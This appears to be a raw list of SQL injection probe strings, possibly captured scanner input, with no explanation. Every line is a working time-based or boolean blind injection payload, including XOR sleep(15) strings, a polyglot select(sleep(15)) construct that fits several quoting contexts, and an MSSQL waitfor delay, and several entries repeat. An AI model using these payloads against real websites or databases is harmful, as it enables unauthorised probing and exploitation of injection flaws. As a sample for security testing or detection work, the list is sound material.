1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1" OR 2+19-19-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

if(now()=sysdate(),sleep(15),0)

1 waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z